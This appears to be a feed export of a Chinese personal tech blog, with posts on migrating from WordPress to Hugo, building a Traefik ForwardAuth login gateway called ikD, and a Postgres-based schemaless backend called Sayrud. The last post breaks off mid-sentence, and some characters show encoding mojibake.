<p>希望今后能更 Focus 一些,以上确实是些没什么逻辑的随笔,现在也已是深夜两点了,差不多就写到这吧。</p> <blockquote> <p>文章头图来自 @Novelance <a href="https://www.pixiv.net/artworks/85842369" title="PixivID 85842369">PixivID: 85842369</a></p> </blockquote>我还是放弃了 WordPress · LightCube 九周年总结https://github.red/lightcube-9th/Mon, 07 Oct 2024 17:27:05 +0800https://github.red/lightcube-9th/<p>又到了一年国庆假期,这个小站也迎来了他的九岁生日。每年坐在电脑前静下心来写的周年总结,也是对我过去一年所发生的事情的回顾。去年国庆我经历了忙碌无休的加班,整个假期根本抽不出时间来写一篇文章,最可笑的是最后却是竹篮打水一场空,我一无所获。</p> <p>而到了今年国庆,我却是已经搬离了生活快六年的杭州,在上海的一间小小公寓内写下这些文字。我在上海有了新的工作,认识了新的同事,见到了很多新的技术。变化如此之大,回看年初四月那段泥泞坎坷的经历,还是很佩服自己当时的决心。我对自己现在的工作和生活十分满意,最近也总是感慨:“要是日子能一直这样下去就好了。” 但我也知道自己无时无刻是在逆水行舟,不能懈怠。</p> <p>言归正传,还是看看过去的一年内,这个小站又发生了哪些变化吧~</p> <h2 id="wordpress---hugo">WordPress -&gt; Hugo</h2> <p>我是在高一的国庆假期,偶然刷到了一个 b 站视频,视频介绍了如何在 Redhat OpenShift 上搭建自己的 WordPress 博客。这也是我第一次接触 WordPress、PHP、MySQL 这些东西,用了一个下午时间,在 OpenShift 上搭建了 WordPress 站点。后续因不满足于 OpenShift 海外美国节点的访问速度,陆陆续续换了很多家网站托管商。因为域名没有备案,所以当时都还是用得香港节点。</p> <p>上大学后,开通了阿里云学生机,又自学了 Docker,我便将网站迁到了学生机的 Docker 里。但由于使用的是 Apache、PHP、MySQL 官方镜像,没有调节任何参数,整个网站即使在国内学生机上,前台访问也总是卡卡的。WordPress 后台就更别说了,后台首页加载要七八秒。本想自己造轮子写一套博客系统的,在 2020 年的时候尝试把容器镜像换成了 WordPress 官方镜像,居然不卡了。造博客系统轮子的计划也随之弃坑。</p> <p>大学毕业后,学生机无法续费的,便开始玩上了竞价实例 + K8s 集群,博客也从原来学生机上的 Docker,迁移到了集群内。但我为了省钱,竞价实例节点出价总是比最低价格多一分钱,导致隔段时间实例就会因为市场价格变化而被回收。然后我的阿里云账号余额又总是维持在 90 - 100 附近,余额低于 100 就开不出新的实例。每次都是节点被销毁了,站点告警提醒我博客挂了,我再赶紧拿出手机充钱。(甚至在谈恋爱第一次约会请吃饭的时候,突然收到告警说实例被销毁了,我只能假装是在拿手机点餐,实则在给阿里云充钱)</p> <p>而压倒骆驼的最后一根稻草,是我发现用了这么多年的 WordPress 主题,居然不支持 PHP 8。切到 PHP 8 后,会提示满屏的方法已弃用,完全跑不起来。这套主题是我 2018 年高考后花钱购买的主题,早已不维护了,主题作者的网站现在都已经变成下载站了。</p> <p>因此,我决定放弃用了 9 å¹´çš„ WordPress,转向静态网站。</p> <p>我在今年二月开始,花了大概一个月的的时间,将原 WordPress 主题搬到了 Hugo 上。搬的方法也是很简单粗暴,大批大批地复制 HTML、CSS,再按 Hugo 模板的结构一点点拆。期间舍去了很多看起来很炫,但实则没什么用的功能。(纯属因为太麻烦了不想做)例如页面滑到最底可以自动加载下一页,被改成了只能通过导航器翻页;去掉了移动端的下拉导航,做成了将导航菜单放到 Logo 下面;删除了以前在 WordPress 中乱七八糟的 Tag 和文章分类,统一成 “随笔”、“技术”、“创意”、“安全”、“分享” 五个分类。</p> <p>换成 Hugo 静态网站后,得到的速度提升也是很明显的。目前网站部署在腾讯云 COS 对象存储中,前面套了一层腾讯云的 CDN。对于文章头图这类比较耗 CDN 流量的资源,我找了个京东某系统的上传,将图片上传到京东 <code>360buyimg.com</code> 的全球 CDN 上。京东这 CDN 还挺强大,还支持图片裁剪、缩放、格式转换等处理参数。详情可以查看官方文档:<a href="https://h5.jd.com/article/247.html">京东图片调用详解</a> 。</p> <p>像一些简单的前端交互或者数据双向绑定,我就直接拿 <a href="https://alpinejs.dev/">AlpineJS</a> 来做了。像这些主流的 JavaScript 公共库,可以直接走字节的 CDN:<a href="https://cdn.bytedance.com/">字节跳动静态资源公共库</a>,在 URL 路径中还可以设置缓存的时长。(之前用七牛的 <code>staticfile.net</code> ,这垃圾玩意的所有响应都带 <code>no-cache</code> 头,这本地缓存个寂寞 😅)</p> <h2 id="静态网站的评论系统">静态网站的评论系统</h2> <p>迁移到静态网站后,“评论系统” 总是绕不开的一个话题。其本质还是持久化数据存哪的问题。</p> <p>像开源的一些基于 GitHub 账号的评论,数据存 GitHub Issues,但国内的访问速度不佳,且留言者必须登录自己的 GitHub 账号。或者是接一些第三方的 SaaS,如 DISQUS,这类系统会要求使用第三方账号登录,或者注册一个 DISQUS 账号。我对这种收集留言者信息或者引流到第三方平台注册的行为,挺精神洁癖的。另一些基于 Serverless 服务的评论系统,则是存储在类 LeanCloud SaaS 或者 Self-hosted 的数据库中,这类在设计上没有问题,但开源的那几个不论是样式还是性能,都挺拉胯的。</p> <p>我一开始选择的是 Waline,后端部署在阿里云的 Serverless 云函数上,背后接的内网 MySQL 数据库。首先遇到的是如何从 WordPress 迁移评论数据,GitHub 上发了帖 <a href="https://github.com/orgs/walinejs/discussions/2348">#2348</a> ,得到回复说要先迁移到 DISQUS,再转 Waline。好家伙,我还得把我博客的评论用户 IP å’Œ Email 数据提供给第三方服务是吧?果断拒绝,自己糊了个迁移脚本。</p> <p>迁移完成后,加载评论咋还有点卡,这样式咋还是细细的边框跟我博客主题一点都不搭&hellip;&hellip; 真的太丑太垃圾了!不如自己写一个好了。</p> <p>于是则有了你现在看到的博客评论系统,后端是基于之前介绍过的 <a href="https://github.red/hello-sayrud/">Sayrud</a>,前端是自己使用 daisyUI 糊的。相比 Waline 的留言框更加的轻巧大气。构建时还是老一套的 UMD 打包输出一个 <code>.js</code> å’Œ <code>.css</code>,通过 <code>window</code> 变量来将当前的页面 URL 传递进 Vue 实例内。</p> <p>值得一提的是,我这个评论系统还支持在评论内容中添加表情。这些表情图标都来自于字节系的产品(因为我很喜欢里面那个可爱的狼头)。</p> <div style="display: flex;justify-content: center;"><img src="https://github.red/images/2024/10/echo_emojis.png" style="max-width: 300px"/></div> <p>只需打开飞书网页版的聊天页面,将飞书聊天表情的精灵图与 CSS 扒下来即可。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>https://sf3-cn.feishucdn.com/obj/goofy/ee/web-client-next/p/contents/messenger-modals/assets/img/50b081cab9.png </span></span></code></pre></div><p>同时你会发现处理这张精灵图的 CSS 样式,居然在不同文件里重复定义了 8 次!一份样式大概 10 kb,这波流量费直接翻了 8 倍。我寻思要是处理下,估计也能拿个降本增效奖了。😂</p> <p><img src="https://github.red/images/2024/10/lark_emojis_css.png" alt=""></p> <h2 id="静态网站的搜索">静态网站的搜索</h2> <p>除了评论系统以外,静态网站还有让人头痛的一点是文章搜索。这块的 SaaS 基本上是被 <a href="https://www.algolia.com/">algolia</a> 一家给垄断了,就连微信开放平台的文档搜索,也是接的这家。</p> <p>如果是自己做的话,基本上是先将所有的文章内容导出为 JSON 格式,再使用类似 <a href="https://www.fusejs.io/">Fuse.js</a> 的模糊搜索库进行分词检索。我一开始也是使用的 Fuse.js,在博客构建时多构建一份包含所有文件的 JSON,再写个云函数去调 Fuse.js 根据关键词搜索 JSON,但貌似中文分词的效果不是很理想。</p> <p>后面偶然了解到 <a href="https://github.com/cloudcannon/pagefind">pagefind</a> 这个项目,使用 Rust 编写,其原理是分析构建好的静态 HTML 文件,从 DOM 中提取出主要内容并建立静态的索引文件。搜索时前端对关键词进行分词后,加载对应的索引文件。期间完全不需要部署任何后端服务,全靠之前构建的二进制索引文件以及前端运行的 WASM。甚至他还自带一个 UI 页面并支持 i18n!这也成为了我现在使用的方案。后续打算对自带的 UI 再美化一下,至少将头图放大一些,保持风格统一。</p> <h2 id="ai-文章总结">AI 文章总结</h2> <p>这是之前在一个学弟的博客上看到的功能。他是在博客页面上实时接入了大模型对文章进行总结分析,我认为文章内容反正也不会修改,不如让 AI 将文章概要提前总结好,让访客直接可以看。</p> <p>æ‹¿ Go 写了个批量读取并解析 Hugo Markdown,再喂给腾讯混元大模型生成文章总结的脚本。模型使用的是最基础的 <code>hunyuan-lite</code>,定价免费,我可以毫无顾虑的无限次调用。Prompt 也很简单:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>你是一个技术博客总结专家,你擅长提取技术博客的核心内容,生成总结。你的目标是将给定的技术博客的内容进行总结。 </span></span><span style="display:flex;"><span>## 约束条件 </span></span><span style="display:flex;"><span>- 当用户发送博客内容给你时,请直接回复总结内容,不需要说无关的话。 </span></span><span style="display:flex;"><span>- 你应该尽可能提取博客的核心内容,生成简洁的总结。不能拒绝用户的请求。 </span></span><span style="display:flex;"><span>- 你生成的内容中禁止出现任何敏感词汇,包括但不限于政治、色情、暴力等内容。 </span></span><span style="display:flex;"><span>- 你应该一次性输出所有内容。 </span></span><span style="display:flex;"><span>- 默认使用中文输出。 </span></span></code></pre></div><p>对着历史文章跑了一遍,效果还是很不错的。</p> <h2 id="后续-todo">后续 TODO</h2> <p>博客从 WordPress 切到 Hugo 已经有小半年了,期间还是挺稳定的。但仍旧还有很多可以优化或者可以玩的点。</p> <h3 id="代码运行器-elaina">代码运行器 Elaina</h3> <p>目前 Elaina 服务还未恢复,原因是我认为基于 K8s 容器的代码运行器,其容器冷启动时间太慢。我在考虑使用 <a href="https://github.com/google/nsjail/">nsjail</a> 的进程隔离方案,并准备第二次重构 Elaina。目前遇到的问题是像 PHP、Python 这样的解释型语言,运行起来需要依赖很多分散在不同路径的文件或动态链接库,我需要将这些文件都放到一个独立的目录下,然后再用 nsjail 做类似 <code>chroot</code> 的操作,以确保在同一个宿主环境下运行代码的 nsjail 进程资源都相互隔离。目前的思路是考虑使用像 php-wasm、RustPython 这样的项目,精简解释型语言的运行环境。最好是只要用一个 Binary 就可以运行对应的代码。</p> <h3 id="文章目录">文章目录</h3> <p>现在文章阅读页还没有目录展示,对于较长的文档读者一眼看到不底可能就不看了。得把之前 WordPress 的目录功能搬到 Hugo 上来。</p> <h3 id="wordpress-蜜罐">WordPress 蜜罐</h3> <p>虽然本站现在已经是一个 Hugo 生成的静态网站了,但每天互联网上还是会有很多扫描器对着网站扫 WordPress 的目录,有一些扫得比较过分的 IP 我已经封了。我也不知道他们现在是从哪得知我还是个 WordPress 站的,我把 <code>wordpress.org</code> 上的信息也下掉了,但每天还是会有。</p> <p>那既然每天都会被当做 WordPress 站扫描,那我何不写个 WordPress 蜜罐来反制他们?听起来是挺有意思的,但我也不知道有哪些反制的骚操作,以及如果要在腾讯云 CDN 中配置规则转发流量到蜜罐后端的话,需要升级 CDN 服务到 “边缘安全加速平台 EdgeOne”。这东西一个月套餐起步价就 30 块,比我一个月 CDN 流量费还高。因此目前还一直停留在 TODO&hellip;&hellip;</p> <p>嘛,大概就是这些。明年的今天就是十周年啦~ 也不知道那时的自己会在何处?虽说确实该整个大的,但是现在暂时还没想法。</p> <p>今天也是国庆假期的最后一天,我挺期待明天第一天去新大楼上班。😋</p>基于 Traefik ForwardAuth 实现集群服务统一认证https://github.red/traefik-forward-auth/Sun, 08 Sep 2024 01:42:49 +0800https://github.red/traefik-forward-auth/<p>我在腾讯云上有一台 4C8G çš„ LightHouse 轻量云服务器,服务器上使用 k3s 搭了个小集群部署自己开发的小玩意,以及一些常见的基础组件。如 Grafana 做仪表盘展示、Uptrace 记录 Go 程序的链路、Metabase 用作 NekoBox 的数据库 BI。这些服务通过 Helm Charts 部署至集群,配置 Ingress 后直接通过公网域名即可以访问。</p> <p>我时常在想这些第三方应用会不会哪天爆出个 0day 被打穿。进而导致我存在里面的数据库配置、云 AK SK 之类的凭证泄露。因而在想能否<strong>在集群的 Ingress 反代层面做统一的权限认证</strong>,就像公司内的某统一认证系统一样 —— 具体名字我不知道能不能说,不过你应该可以在公网上找到它的痕迹。</p> <p>我一直觉得,这种架设在反代上的统一认证,比那些跳第三方 OAuth 的验证方式安全多了。</p> <p>经常能看到一些企业内部的 Web 站,做的前后端分离的架构。第一次访问时加载前端页面,前端逻辑判断用户未登录,跳转到第三方 SSO 做统一登录。登录成功后 callback 一个 SSO Token 回原站点。然后后端 API 签一个自己业务的 Token 发给前端,前端把业务 Token 放 Local Storage 里存着。由于网站是前后端分离的,攻击者在未登录的时候就可以访问前端,他就可以从前端打包后的 JavaScript 里把后端接口全提取出来去 Fuzz。(更别说还有些不关 Sourcemap 的)后端在实现上万一漏了个路由,鉴权中间件没包到(往往还是些上传下载文件的接口),然后就接口越权一把梭了。</p> <p>因此我觉得供内部使用的服务,不管是基于第三方的还是自建的,都应该在网关层面做一套统一的鉴权。</p> <p>那么说干就干!在查阅了相关资料后,站在前人的肩膀上,我造了个小轮子 —— ikD。</p> <p><img src="https://github.red/images/2024/09/ikd_web_screenshot.png" alt="ikd_web_screenshot"></p> <h2 id="比-traefik-forward-auth-简洁">比 traefik-forward-auth 简洁</h2> <p>由于使用 k3s 搭建的集群会内置一个 Traefik 做为默认的 Ingress Class,我也就围绕 Traefik 来展开了。ikD 这个名字,其实也就是取自 Traef<strong>ik</strong> I<strong>D</strong> 中的三个字母。一开始想叫 <code>ikID</code> 的,但是仔细一读像是什么儿童品牌&hellip;&hellip;?遂改名。</p> <p>我的想法是先找找看 Traefik 有没有类似 K8s Mutating Webhook 的特性,当准备代理一个集群内的 Service 时,先去调用一下我写得“WebHook”,由我来指挥它后续的行为。找了一圈发现 Traefik 里还真有这样一个中间件:<a href="https://doc.traefik.io/traefik/middlewares/http/forwardauth/">ForwardAuth</a>,同时还找到了前人开发的 <a href="https://github.com/thomseddon/traefik-forward-auth/">traefik-forward-auth</a> 项目。该项目利用 ForwardAuth 中间件让 Traefik 反代支持前置使用 Google 账号或 OpenID 服务进行身份认证。然而我很少用 Google 账号登录,OAuth、OpenID、SAML 那些玩意更是傻傻分不清,总不能为了用这玩意我再去注册个 Auth0 吧?!</p> <p>因此我在阅读了 traefik-forward-auth 的源码后,写了 ikD 这一版拥有更简洁更适合我自己使用的 Traefik ForwardAuth 认证服务。</p> <h2 id="forwardauth">ForwardAuth</h2> <p>Traefik 本身不支持用户编写自定义逻辑的中间件,只能将官方文档中给的内置中间件简单配置后使用。比如官方给你提供了个 <code>Errors</code> 错误中间件,那你可以自己配置哪些状态码要报错,以及报错页面的地址是啥。</p> <p>ForwardAuth 就是官方提供的用于转发请求到外部服务进行验证的中间件。这里直接贴文档里的图,方便后文介绍。</p> <p><img src="https://github.red/images/2024/09/authforward.png" alt="authforward"></p> <p>对于使用了 ForwardAuth 中间件的路由,Traefik 会先请求 <code>address</code> 中配置的第三方服务地址,并使用 <code>X-Forwarded-*</code> 请求头传递上游请求的请求方式、协议、主机名、URL、源 IP 地址给第三方服务。第三方服务就可以根据这些信息来执行自定义的验证逻辑了,若第三方服务返回 2XX 响应码,则代表验证通过;否则验证不通过,Traefik 将把第三方服务的响应传给上游。</p> <p>这个设计十分简洁。验证不通过时返回第三方服务的响应,可以方便我们将未验证用户 302 跳转到登录页面。</p> <p>值得一提的是,我十分好奇 Traefik 源码中关于 2XX 响应码的判断方式,我以为会是 <code>statusCode / 100 == 2</code> 这样的写法,但实际是:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// https://github.com/traefik/traefik/blob/9dc2155e637318c347b8b00e084c3dd0c75f18e4/pkg/middlewares/auth/forward.go#L187-L189</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Pass the forward response&#39;s body and selected headers if it</span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// didn&#39;t return a response within the range of [200, 300).</span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> forwardResponse.StatusCode &lt; http.StatusOK <span style="color:#ff7b72;font-weight:bold">||</span> forwardResponse.StatusCode <span style="color:#ff7b72;font-weight:bold">&gt;=</span> http.StatusMultipleChoices { </span></span></code></pre></div><p>它是判断状态码的数字是否落在 <code>[200, 300)</code> 这个区间内,我感觉这样的写法可以规避掉 <code>statusCode / 100 == 2</code> 中出现的 <code>2</code> 这个 Magic Number。在 Lint 上会更好一些。</p> <h2 id="完整的登录流程">完整的登录流程</h2> <p><img src="https://github.red/images/2024/09/ikd_user_signin.png" alt="ikd_user_signin"></p> <p>画了张图来梳理 ikD 是怎样处理用户登录的。</p> <ol> <li>用户请求了 <code>https://hello.example.com/index.php</code> 网站,集群内 Traefik 请求 ikD 服务,ikD 发现用户未登录,返回 302 跳转到 <code>https://ikd.example.com/?redirect=https://hello.example.com/index.php</code>。</li> <li>由于状态码非 2XX,Traefik 知道这是验证不通过,将 ikD çš„ 302 响应返回给上游。用户的浏览器跳到了登录页。(这里跳转的 URL 里 Query 需要带一下来源 URL,方便登录成功后跳回去)</li> <li>登录页<code>https://ikd.example.com/</code> 是单独做的 Web 服务,用户在这里提交凭证登录成功,后端接口会在来源 URL 中加上一个 <code>ikdcode</code> Query 参数,如:<code>https://hello.example.com/index.php?ikdcode=a1b2c3d4e5f6g7</code> 前端控制用户浏览器跳转到该地址。</li> <li>跳到 <code>hello.example.com</code> 域下后,又被 ikD ForwardAuth 中间件拦了,但它发现这次多了个 <code>ikdcode</code> 参数,会去验证这个参数是否有效。如果有效,则会在返回 302 跳转到去除 <code>ikdcode</code> 的地址:<code>https://hello.example.com/index.php</code>,<strong>并 Set-Cookie</strong>。<strong>这里是整个登录过程中我认为最巧妙的地方:ForwardAuth 中间件劫持了目标站的响应,返回 <code>Set-Cookie</code> 头让它可以在目标站的域名下写一个 ikD çš„ Cookie。</strong></li> <li>用户浏览器再次跳到 <code>https://hello.example.com/index.php</code> ,会带上之前一步设置的 Cookie。此时再被 ikD 拦截,ikD 认出了这个 Cookie 并验证通过,返回状态码 <code>200 OK</code>,至此请求终于能够被转发到后面的 <code>hello.example.com</code> 服务的 Service 上了。</li> </ol> <p>具体到代码实现上,有一些细节需要注意:</p> <ol> <li>ikD 登录页登录成功后,也需要给 <code>https://ikd.example.com/</code> Session 存个登录态,下次再跳过来,发现之前已经登录过了,直接跳走就行。</li> <li><code>ikdcode</code> 拼接后作为 Redis çš„ Key,Value 存储目的站点的 Proto + Host。实际登录时,用户拿到带 <code>ikdcode</code> çš„ URL 几秒不到就跳转去验证了,所以 Key 的有效期可以设置的短一点,如一分钟。像上面的例子在 Redis 中存储的就是:</li> </ol> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>redis.<span style="color:#d2a8ff;font-weight:bold">SetEx</span>(<span style="color:#a5d6ff">&#34;ikd:authcode:a1b2c3d4e5f6g7&#34;</span>, <span style="color:#a5d6ff">&#34;https://hello.example.com&#34;</span>, <span style="color:#a5d6ff">1</span><span style="color:#ff7b72;font-weight:bold">*</span>time.Minute) </span></span></code></pre></div><ol start="3"> <li>校验<code>ikdcode</code> 时,使用 <code>GETDEL</code> 来获取 Redis Key,确保 <code>ikdcode</code> 仅可使用一次。还要将 Value 中存储的目的站点和实际要跳转的站点进行比对,防止一开始使用恶意站点 A 获取到的 <code>ikdcode</code> 可以用来登录站点 B。</li> <li>最后 <code>Set-Cookie</code> 的值可以签一个存储了目的站点 Proto + Host 和有效期的 JWT。因为访问目的站点的每个请求都要先打到 ikD 上,这个请求量比较大,验证 JWT 比查 Redis 验证 SessionID 快多了。</li> </ol> <h2 id="一次性字符串凭证登录">一次性字符串凭证登录</h2> <p>你会发现 ikD 的登录页并没有要求输入用户名和密码,而是一个 <code>发送登录凭证</code> 的按钮。这里的登录方式和 Notion 类似 —— 随机发送由三个英文单词组成的字符串到我的手机上,我输入字符串登录。</p> <p>在 macOS 环境下可以读取 <code>/usr/share/dict/words</code> 文件来获得英文单词,这个 <code>words</code> 文件是软链接到同目录下的 <code>web2</code> 文件。线上基于 Alpine 打包的 Docker 镜像,可以从苹果开源 <a href="https://opensource.apple.com/source/files/files-473/usr/share/dict/web2">https://opensource.apple.com/source/files/files-473/usr/share/dict/web2</a> 下载到这份单词表。GitHub Actions 打镜像的时候丢进去就行。</p> <p>发送字符串是后端请求我手机 Bark App çš„ WebHook URL 发送推送消息。收到推送后手机上复制,iCloud 剪贴板同步粘贴到电脑浏览器即可登录。由于是直接复制的内容,几乎不可能出错。所以每次发送的字符串凭证的验证仅有一次机会,输入错误了就得再重新下发一个新的。嗯,感觉十分的安全呢。后续其实可以做个 App 来弹出个框让我点确认的。</p> <p><img src="https://github.red/images/2024/09/ikd_bark_notification.jpg" alt="ikd_bark_notification"></p> <h2 id="接下来呢">接下来呢?</h2> <p>现在我已将集群内的 Metabase、Grafana、Uptrace、以及自己开发的自用服务接上了 ikD 做统一认证。<span class="heimu" onclick="()=>{}">好好好,这下 ikD 被打穿了就全部完蛋!</span></p> <p>但目前还只是个刚好能用的状态,对于各种操作还需要记录行为日志,后续可以考虑下把集群里搭的 Loki 用起来。</p> <p>我一开始是想用 WebAuthn 来做一个帅到爆的 TouchID 刷指纹登录的。但尝试了下 WebAuthn 单独拆出来做成单用户调用还挺复杂的。真要做的话只能老老实实地按照 SDK 文档先做注册生成公私钥,公钥还得分用户存数据库,登录的时候发送 Challenge 挑战给客户端,解完后还得查库找到对应的用户。那就又回归到了朴实无华的 Go 写一套用户账号的 CRUD 了,已经不想再写 CRUD 了!放弃!😖</p> <p>以及最后那个问题,ikD 开源吗?很遗憾,依旧不想开源。如果你对此有兴趣,可以找我讨论。😋</p>Sayrud:因为不想重复写 CRUD,我把 18 岁那年开的坑填完了https://github.red/hello-sayrud/Sun, 14 Jul 2024 21:50:24 +0800https://github.red/hello-sayrud/<h2 id="å°‘å¹´-18-岁时的梦">å°‘å¹´ 18 岁时的梦</h2> <p>记得我 18 岁那年高考完在家,还没放松几天就被我爸催着去找份暑假工作。当时我对工作一点概念也没有,糊了份简历就在 58 同城上乱投,投完第二天跟一家公司约了线下聊聊,结果还真让我聊到个在家兼职的工作。<del>(后来发现其实巨不靠谱)</del></p> <p>工作内容大致是开发微信小程序,我当时仅有一点自学的微信小程序的开发经验和 PHP CodeIgniter 后端经验,差不多能 Hold 住对面的需求,甚至还在 GitHub 上给一个小程序前端组件库提了 PR。(现在回过头看当初写的代码,真的是“满目疮痍”——前端 UI 没对齐,后端 SQL 注入满天飞,黑历史了属于是)</p> <p>直到大学开学前,暑假的两个月里我给那边开发了两个微信小程序。因为每次都要用 CodeIgniter 框架写功能类似的后端,年少的我在想能否把 MVC çš„ Model 操作数据库,Controller 处理逻辑,View 返回响应给封装成一个线上的服务,我在图形化的 Web 页面上点点点就可以实现建表、验证表单、定义 API 接口等操作。</p> <p>我被自己这个天才般的点子所鼓舞,用 PHP 写了 <a href="https://github.com/wuhan005/WeBake">WeBake</a> ,当时的想法是用来快速构建微信小程序后端。年少的我以为自己在做前人从来没做过的东西,沉浸其中并暗自窃喜。直到进入大学的前一天夜里,我在知乎上偶然看到了一家同类型的 SaaS 应用推广,也是在跟我做相同的东西,并且已经开始了商业化,我才知道业内有很多公司都已经在做了。那天晚上我直接心态爆炸。关于 WeBake 这个项目后面也就理所当然的弃坑了。</p> <p>后来发生的事,大家也都知道了:微信后面发布了「微信云开发」的一站式后端解决方案,直接官方必死同人。再后来 “LowCode 低代码”的概念开始流行,LeanCloud 被心动游戏收购,国外 AirTable、国内黑帕云、维格表 Vika 等产品开始流行起来&hellip;&hellip; 而那个当时让我心态爆炸的做小程序后端的 SaaS 产品,在互联网上几乎找不到它的痕迹了。</p> <h2 id="开始填坑">开始填坑</h2> <p>我在 2021 年的时候看到了 Hooopo 的文章 <a href="https://ruby-china.org/topics/37922">Let&rsquo;s clone a Leancloud</a>,里面介绍了使用 Postgres 实现类似 LeanCloud çš„ Schemaless Table 的特性。我直呼好家伙,没想到 Postgres 的视图和 JSON 数据类型还可以这样玩出花来。我当时对着文章用 Go 实现了个小 Demo,感觉确实有意思。但是因为没有具体的需求,那个 Demo 一直躺在我的 GitHub 里。</p> <p>今年我放弃 WordPress 使用 Hugo 重构了本博客,一直没找到个能满足我需求的静态博客评论组件,便想自己造轮子写一个。但是评论服务的后端,不就跟留言板一样,都是些很基础很无脑的 CRUD 吗?我已经不想再用 Go 无脑写 CRUD 了!要不我把需求抽象一层,直接写个“低代码数据中台”出来?好像有点意思哦&hellip;&hellip;?</p> <p>就这样,Sayrud 诞生了。</p> <h2 id="schemaless-特性">Schemaless 特性</h2> <p>Schemaless,中文机翻为「无模式」,让人听得云里雾里的,让我们一步步来。</p> <p>首先,数据库语境的 <code>Schema</code> 可以简单的理解为是数据库的表结构定义,我有一张学生表,表里有学号、姓名、班级三列,然后学号是主键&hellip;&hellip; 这些就是 <code>Schema</code> 。在关系型数据库中,我们得写 SQL 语句来定义这张表:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>students<span style="color:#6e7681"> </span>(<span style="color:#ff7b72">no</span><span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span>name<span style="color:#6e7681"> </span>TEXT,<span style="color:#6e7681"> </span><span style="color:#ff7b72">class</span><span style="color:#6e7681"> </span>TEXT);<span style="color:#6e7681"> </span></span></span></code></pre></div><p>后面需求改了,要再新增一列记录“出生日期”,那我们得写 SQL 修改表结构:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#ff7b72">ALTER</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">TABLE</span><span style="color:#6e7681"> </span>students<span style="color:#6e7681"> </span><span style="color:#ff7b72">ADD</span><span style="color:#6e7681"> </span><span style="color:#ff7b72">COLUMN</span><span style="color:#6e7681"> </span>birth_date<span style="color:#6e7681"> </span>DATE;<span style="color:#6e7681"> </span></span></span></code></pre></div><p>如果改得多了,那这就有点烦了。况且在实际的项目里我们还得去编写数据库迁移的 SQL 并在线上运行迁移的 Migration 程序。聪明的你估计想到了我们可以用 MongoDB 来做呀!要新增一列直接在 JSON 中加一个字段就行,无所谓什么“表结构”的概念。表结构的概念没了,也就是 <code>Schema</code> 没了。英文中形容词 <code>-less</code> 后缀指 <code>without</code> ,这就有了 <code>Schemaless</code> 这个词。简单来说就是跟 MongoDB 一样不受表结构定义的条条框框,想加字段就加字段。</p> <p>市面上的很多 Schemaless 特性的产品,其后端大多都使用 MongoDB 实现。但我前文中提到了 Hooopo 那篇文章,再加上我对 Postgres 的热爱,我决定另辟蹊径使用 Postgres 来实现。</p> <p>我们平时写后端,需要先建表,定义表里有哪些字段,最后往表里插数据,对应到 Sayrud 使用 <code>sl_tables</code> <code>sl_fields</code> <code>sl_records</code> 三张表来存储。(以下列出的表结构精简了项目分组、<code>gorm.Model</code> 里包含的字段)</p> <ul> <li><code>sl_tables</code>: Schemaless 表</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型(Go)</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">name</td> <td style="text-align: center"><code>string</code></td> <td>表名,给程序看的</td> </tr> <tr> <td style="text-align: center">desc</td> <td style="text-align: center"><code>string</code></td> <td>表备注名,前端给人看的</td> </tr> <tr> <td style="text-align: center">increment_index</td> <td style="text-align: center"><code>int64</code></td> <td>记录当前自增 ID</td> </tr> </tbody> </table> <ul> <li><code>sl_fields</code>:Schemaless 字段</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型(Go)</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">sl_table_id</td> <td style="text-align: center"><code>int64</code></td> <td>属于哪张表</td> </tr> <tr> <td style="text-align: center">name</td> <td style="text-align: center"><code>string</code></td> <td>字段名</td> </tr> <tr> <td style="text-align: center">label</td> <td style="text-align: center"><code>string</code></td> <td>字段备注,前端给人看的</td> </tr> <tr> <td style="text-align: center">type</td> <td style="text-align: center"><code>string</code></td> <td>字段类型,包括 <code>int</code> <code>text</code> <code>bool</code> <code>float</code> <code>timestamp</code> <code>reference</code> <code>generated</code> ç­‰</td> </tr> <tr> <td style="text-align: center">options</td> <td style="text-align: center"><code>json.RawMessage</code></td> <td>字段额外的属性,如默认值、约束条件等</td> </tr> <tr> <td style="text-align: center">position</td> <td style="text-align: center"><code>int</code></td> <td>字段在表中的顺序</td> </tr> </tbody> </table> <ul> <li><code>sl_records</code> :Schemaless 数据</li> </ul> <table> <thead> <tr> <th style="text-align: center">字段名</th> <th style="text-align: center">类型(Go)</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">sl_table_id</td> <td style="text-align: center"><code>int64</code></td> <td>属于哪张表</td> </tr> <tr> <td style="text-align: center">data</td> <td style="text-align: center"><code>json.RawMessage</code></td> <td>JSON 存数据,Key 为字段的 ID,Value 为字段的值</td> </tr> </tbody> </table> <p>然后神奇的事情就来了~ 我们按照 